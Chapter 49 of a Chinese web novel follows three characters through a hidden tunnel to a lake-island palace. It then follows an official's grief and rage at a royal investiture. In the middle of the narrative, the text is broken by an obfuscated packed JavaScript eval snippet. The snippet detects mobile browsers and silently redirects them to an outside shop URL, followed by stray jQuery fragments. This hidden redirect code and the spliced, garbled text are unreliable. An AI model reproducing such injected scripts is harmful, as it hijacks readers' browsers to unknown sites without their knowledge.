49.怒火中烧
作品:《冤种夫君第五世还想上桌》 风掠过耳际时,带着清冽的草木气息。
云临能清晰听见草叶被衣角带起的簌簌轻响,他放轻了呼吸,目光始终没有离开前方那个身影。
他们三人与那人的距离约莫五十步,这轻微的声响并没有被那人发觉,这在他们的判断之内。
那人脚步轻快,身形灵活得像一条鱼,转瞬便窜入了一片茂密的灌木丛。
那身青色短打像是特意挑选过的,与灌木丛完美相融。
云临猛地停下脚步,足尖在地面轻轻一点,身形便如惊鸿般拔地而起,稳稳攀上眼前一棵枝繁叶茂的大树。
他定睛望向下方,那片灌木丛平静无波、密不透风。
灌木丛边缘往下数尺便是湖水,波光粼粼地映着天光,往前再无半分可踏足的路径。
前方湖面上,笼罩着数十丈高的浓郁白雾,肉眼看不穿。
云临心想,那白雾后面,或许就是传闻中的湖心一带。他脑中飞速思索,五十步的距离,那人绝不可能在这么短的时间内凭空消失,除非……
他目光扫过湖面,又落回那片灌木丛,忽然像是想到了什么,立即松开了紧握树枝的手,身体微微一沉,纵身跃下大树。双脚落地时,他顺势屈膝卸去冲力,动作轻得几乎没有声响。
“如何?看到他了吗?”云岑立刻便凑了上来,眼底满是急切。
云临缓缓摇了摇头,目光依旧停留在那片灌木丛的方向:“没有,但我想,前面应该有个山洞,不然那人不可能凭空消失。”
听罢,青鸾没有多言,抬脚便朝着那人消失的方向快步走去。她性子素来果决,不喜欢拖泥带水,既然有了推测,便要立刻验证。
云临与云岑亦不再多言,紧随其后。
刚踏入灌木丛,脚下的草叶比外围更为茂密,几乎没过脚踝。就在这时,走在最前面的青鸾忽然身形踉跄了一下,随即大喊一声:“你们慢点!”
云临侧过头,与云岑交换了一个眼神,二人皆心领神会,放慢了脚步。
走近了才发现,青鸾身前的草丛下,赫然出现一个向下垂直的入口。
这入口方方正正,并非天然形成的粗糙模样,而是人为挖掘出来的。
云临眼中闪过一丝恍然,脱口而出:“这莫非是进入湖心的入口?”
青鸾缓缓点了点头,依旧没有说话。
云岑叉着腰,微微弓着背,仔细打量着这个方方正正的入口,嘴角勾起一抹略带嘲讽的笑意:“人啊,吃饱喝足了,就总想折腾一些匪夷所思的事情。幻影坊财大气粗,倒也像他们会干的事儿。”
“事不宜迟,我们下去看看。”云临说罢,目光在洞口周围扫了一圈,很快便发现旁边缠绕着几根粗壮的藤蔓。
藤蔓上还留着被人抓握过的痕迹。他俯身抓起一根藤蔓,用力拽了拽,确认足够牢固后,便双脚蹬着洞口边缘,顺着藤蔓向下跳去。
他动作小心翼翼,双手交替着缓缓下降。约莫下降十丈,前方隐约透出一丝暖黄色的光。
云临又加快了下降的速度,没过多久,双脚便稳稳落在地上。
他站直身体,拍了拍衣袍上沾染的尘土,一边等待云岑和青鸾下来,一边不动声色地观察着眼前的甬道。
这条甬道凿得相当规整,四壁平滑,地面亦是平平坦坦,甚至能看到隐约的车辙印,显然曾经有车辆通行过。
每隔十几步,墙壁上便挂着一盏油灯,昏黄的光芒驱散了黑暗,将甬道映照得温暖而静谧。
最令云临震惊的,是这条甬道的宽度,竟足足能让三个成年人并肩而行。
如此宏大的工程之下,到底隐藏着什么秘密?
没过片刻,上方传来轻微的动静,云岑和青鸾相继顺着藤蔓滑了下来。
二人安全落地,云临朝他们递了个眼神,三人随即并肩沿着甬道往里走去。
约莫走了一百步,前方的景象忽然一变。一个狭长的溶洞横亘在他们眼前,与甬道呈垂直状,向两侧延伸,一眼望不到尽头。
而他们脚下的岩石路面,变成了厚实的木板。
木桥下方,是一条汹涌澎湃的暗河,河水撞击着岩石,水花飞溅,带着刺骨的寒意,令人不寒而栗。
云临心中忽然豁然开朗。刚才他还在纳闷,外头那垂直的入口,若是遇到下雨,雨水灌入,这甬道岂不是要被淹没?
现在他才知晓,那些雨水顺着洞口流到此处,便泄入这条狭长的溶洞中,顺着木桥底下的暗河,流向未知的地方。
这天然形成的溶洞,简直就是最好的排水沟。
云临心中的不安渐渐加重,他一边走,一边低声说道:“叔叔,我总觉得,那人像是故意引我们来此。”
一开始,他们都只当那个人是幻影坊的普通小厮。现在看来,那人更像是故意引他们发现这个隐秘入口。
他甚至觉得,那人是扮猪吃老虎,他们这一路追踪,看似是猎手,实则是对方的猎物。
云岑眉头也微微皱起,沉吟道:“我也有这种感觉。”
“事已至此,也回不了头了,硬着头皮上呗。”青鸾倒是放得开,语气轻松自在。
不知走了多久,脚下的路渐渐开始向上倾斜。
三人有一搭没一搭地聊着天,话题始终围绕着幻影坊。
约莫走了一炷香的功夫,前方终于透出一丝明亮的自然光。
云临心中一喜,加快了脚步。那一丝光越来越强烈,渐渐铺满了整个甬道。
走出甬道的刹那,三人都不约而同地停下了脚步,眼中满是震撼。
他们此刻正站在一块陡峭的小岛屿上,脚下是坚硬的岩石,周围寸草不生。正前方,是一座巍峨耸立的巨大山峦,云雾缭绕,仿若仙境。
云临低头看着自己的影子,断定现在大约是申时初。
此时阳光明媚,但这湖心岛周围却笼罩着一片朦朦胧胧的白雾,如同轻纱般随风飘荡。
这种景象有违常理,却美得令人心惊。
“这或许就是传闻中的湖心了。”云临喃喃道。
忽然有风吹过,白雾散了一些,露出了山体的真面目。
云临定睛望去,只见半山腰上坐落着几座宫殿,宫殿的屋顶覆盖着琉璃瓦,在阳光下反射出耀眼的光芒。
其中最大的正殿,规格堪比京城的宣政殿。此外,每个宫殿的周围还环绕着许多大小不一的房屋,错落有致。
这些宫殿和房屋依山而建,相当别致,形成了一片规模庞大的宫殿群,像是一幅画。
看着眼前如此宏大的景象,青鸾震惊地瞪大眼睛,下意识地屏住了呼吸,半晌才喃喃道:“千澄居然没骗我,这湖心,真的是仙境!”
“也不知道那丫头是真的知道湖心的秘密,还是道听途说却歪打正着。”云岑亦是被眼前的景象惊到,语气中带着几分感慨。
云临单手托着下巴,若有所思地开口:“陆家肯定有人知晓湖心岛的秘密,但陆小姐不一定清楚。”
他的话音刚落,下方忽然传来一道熟悉的声音。
“三位贵客!在下在这里等你们很久了。”
云临循声低头望去,只见下方不远处有一个码头,比外头那个小岛的要大上许多。
码头上停着几只乌篷船,船身比他们买的那只要大出不少,目测至少可以坐下六个人。其中一只乌篷船的船头上,一名男子盘膝而坐。
这人正是引他们前来的那个人。
三人面面相觑,眼中都闪过一丝了然。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117618|187626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
云临心中的不安总算得到了印证。这个人,果然是故意露出马脚,让他们起疑,一步步将他们引到这里来。
那男子缓缓抬起头,仰望着站在高处的三人,脸上带着温和的笑意:“我是幻影宫的引路人,叫我阿渡就行。我奉坊主之命,引三位贵客来到幻影宫,宫主和坊主此刻正在云霄殿等候,还请贵客随我前去。”
自称阿渡的男人仰头望着三人,耐心等待着。
·
京城之中,是另一番景象。
纪月笙已将公孙夜这个案子的相关人证和物证尽数带回京城,并审讯完毕。
在确凿的证据面前,公孙夜一党统统闭了嘴。眼下,她只需等待云临将主谋带回京城,便可了结这桩案子。
随着公孙夜倒台,公孙盛如愿以偿地入主东宫,成为了储君。
在册封大典上,纪月笙终于见到了杜枝枝。
身为太子妃,杜枝枝的脸上一丝喜悦都没有,往日里那双明媚灵动的眼睛,此刻黯淡无光,像是蒙尘的珍珠,失去了所有光彩。
纪月笙的心像是被什么东西狠狠揪了一下,鼻子也涌上一阵阵酸涩,眼眶瞬间便红了。
她强忍着情绪,定睛再看,赫然发现杜枝枝的小腹隆起,那弧度显然是有了身孕。
这个发现如同晴天霹雳,纪月笙瞬间便怒火中烧。眼角的泪水再也忍不住,顺着脸颊轻轻滑落。
她握紧拳头,因为太过用力,指尖嵌入掌心,带来一阵尖锐的疼痛,呼吸也变得越来越急促,胸口像是被巨石压住,窒息感让她忍不住干呕了两下。
身后的英御史担忧地问:“纪少卿,你身体不舒服吗?”
纪月笙微微侧身,压着声音,尽量让自己的语气听起来平静:“无碍,多谢英御史的关心。”
册封大典结束后,纪月笙几乎是逃一般地离开了皇宫,回到了纪府。
刚踏进自己的房中,她便再也控制不住心中的怒火,余光正好瞥见自己的佩剑,她一步并作两步上去拔出剑,随即冲到院子里,对着院中的银杏树疯狂砍去。
剑光凌厉,木屑四溅。她一边砍,一边大口喘着气,眼中满是猩红。
这动静惊动了府中的所有人,大家纷纷围了过来,却没人敢上前劝阻。
二十几年来,府中众人从未见纪月笙发过如此大的火。这般失态的模样,让所有人都吓得不敢轻举妄动,生怕她一个不注意,自己就得见血。
就连纪月笙的亲娘刘若君闻讯赶来,看到女儿这般模样,也只是站在远处,满脸担忧地看着,想等她稍微冷静下来再上去问清楚缘由。
此时,一个小小的身影从人群中钻了出来。
杜芒趁着众人不注意,屁颠屁颠地跑向纪月笙,仰着小脸,奶声奶气地喊道:“二姨,这是我和哥哥最喜欢爬的树,你别砍了好不好?”
那声音稚嫩,却瞬间穿透了纪月笙心中的怒火。她的动作猛地一顿,缓缓转过身,望向眼前的杜芒。
看着这张酷似杜枝枝的小脸,纪月笙眼中的愤怒渐渐褪去,取而代之的是无尽的愧疚。
杜芒小跑到纪月笙跟前,伸出小手,不停地拍打着她握剑的右手,语气带着一丝撒娇,又带着一丝坚定:“二姨,不许砍树!”
纪月笙看着杜芒纯真无邪的脸庞,心中一软,缓缓将剑扔在一旁,随即俯身抱起杜芒,将脸紧紧靠在杜芒小小的肩膀上,压抑已久的哭声终于忍不住爆发出来。
若是四年前她阻止杜枝枝进入魏王府,事情就不会变成现在这个样子。
一想到杜枝枝委身于公孙盛,纪月笙就觉得一阵恶心。这些日子,她常常吃不下饭,睡不好觉。
而每次看到杜芒,心中的愧疚便会更加深切。

